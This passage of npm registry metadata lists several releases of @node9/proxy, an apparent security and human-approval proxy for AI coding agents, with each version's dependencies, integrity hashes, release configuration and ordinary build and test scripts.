MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.21.3_1778735529585_0.37601012052679494","host":"s3://npm-registry-packages-npm-production"}},"1.21.4":{"name":"@node9/proxy","version":"1.21.4","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.21.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"d6c0040293d02d1d66dae591af96dce7631e9824","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.21.4.tgz","fileCount":17,"integrity":"sha512-0OfI4jmeioTgQ7NrNUL4DHAvkqzCvRLumEcW16WxvAtkQ/vttp7xQac1nWR5j0XwSj8dug0r6PTkyX7Gt9AA2Q==","signatures":[{"sig":"MEQCIH1qdPBlukdcs7TDAwKkqXPqYGaxhi3f3TSeODbfbXX0AiBEpUq+TubjacwYPSc6why2XpRE+aL/7PwcTSN7jR13mg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.21.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3863839},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"4371dde8422a3f259dda618794a61066979d80dc","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.21.4_1778736028805_0.6589880549548497","host":"s3://npm-registry-packages-npm-production"}},"1.21.5":{"name":"@node9/proxy","version":"1.21.5","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.21.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"549de9bf73f446680b2b4b66ac9cd00602c75743","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.21.5.tgz","fileCount":17,"integrity":"sha512-wrYpztAJijHKQAEjSJv8M3ckz7KDsfy86GyDbCZ/kGtY6wzRHYkiUpDorwTRT1xBd7K+cP8XtKOdwTpe7fKrMQ==","signatures":[{"sig":"MEQCIHOBIiEsKgNQ8fACMR+yCxBet2HnTkNEjZ4OqD+hnhPFAiBEKmipBvJ9ENMXdK20IWPMfFotZKoVVlTQj2B1dml9NQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.21.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3863839},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f342c84170456300e4643c8b8e32a0726dfa10c5","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.21.5_1778737219146_0.6419299164720136","host":"s3://npm-registry-packages-npm-production"}},"1.22.0":{"name":"@node9/proxy","version":"1.22.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.22.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"ded69fd204a551b9357bfa0e69cc5e4227611749","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.22.0.tgz","fileCount":17,"integrity":"sha512-AcQAPUbxv3Sf0GBLmgJUWqNlYnFdGqiUTDBydD6MjYsXK9SlzFL0PV3CwscwcwCQ4In4p/kNJkp8Ho7l3nTxSQ==","signatures":[{"sig":"MEUCICwZ9RB7magtNbCBYjvbYxwPLg14rrn/Ym+U2WQl0wLnAiEAgBB7uFvZd+gE0/FrZ9y2ZfA/OpbM5Sus2WCdJGlDOIA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.22.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3879656},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a24759611dae7ba2ae56ada771d7f6d17073a666","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.22.0_1779016957852_0.11525940056308226","host":"s3://npm-registry-packages-npm-production"}},"1.23.0":{"name":"@node9/proxy","version":"1.23.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.23.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"ebbdc5d78a085262143f5d0de3f8392a217b72f0","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.23.0.tgz","fileCount":17,"integrity":"sha512-20AOvcI5OvAivXMLyztkaI04Yk7zR8k/OrbPiEAy77wjujRocOJAcWDkkPH9mRqN734db68GC27L6d0g0kBuoQ==","signatures":[{"sig":"MEQCIAQWxsLTfkm4cket57tHVqbNV5EMHrKoHpch9oXeawTRAiByjExp3qymImSx4g9/buqeI36bbXQ47PXd89OLmGEc9A==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.23.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3889278},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"219ceeba2c7a5d723e08c1f054e56493bd189a28","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.23.0_1779023408700_0.3757966653425684","host":"s3://npm-registry-packages-npm-production"}},"1.24.0":{"name":"@node9/proxy","version":"1.24.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.24.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"c3f0b825a8d2971f26ea25cc9412cfb68d48f7f5","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.24.0.tgz","fileCount":17,"integrity":"sha512-KXD6QFuTuXPqvuRSFic+uzxa/kLqKSkbyftRjjR2CVXTAMKFUFr8AO/BvpMc6RSO7gu+3MQ+Ebws6ZhQw71Sxg==","signatures":[{"sig":"MEYCIQCpHNw6DknWniaLZqwM0gWGFqXnZUjQOdJ31X2D+K/ViQIhAOBbWuWFvjtFDH4ZbvCZfTUmgyMaaB564aNiTCVoiaHu","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.24.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3889280},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0d4066f52d7f1395d80ab754355cf068daadb634","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.24.0_1779305504568_0.43391726315241397","host":"s3://npm-registry-packages-npm-production"}},"1.24.1":{"name":"@node9/proxy","version":"1.24.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.24.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"de65e4390f1301238f45f8a89e7091e0179c4628","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.24.1.tgz","fileCount":17,"integrity":"sha512-1sSl6Y4bsLJgNl0BjPgtFwnnG8N4ExSERRWjYez/SvstpazgoUD3Z+y0Xn4Xzmlz6/iHObKJfmeTNDPmA+Lncw==","signatures":[{"sig":"MEUCIQD0D5jfjjMEp7Zo1Pxr+xvSBrw85KVBzWhPdL0TpJyg0wIgTB+TI8P8TUWPNRpbFicSwciY2NQm4PN4B3yWNaKH6Bc=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.24.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3889280},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"453f06a42a31b14a49bd48db00b7670d5107fb94","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & 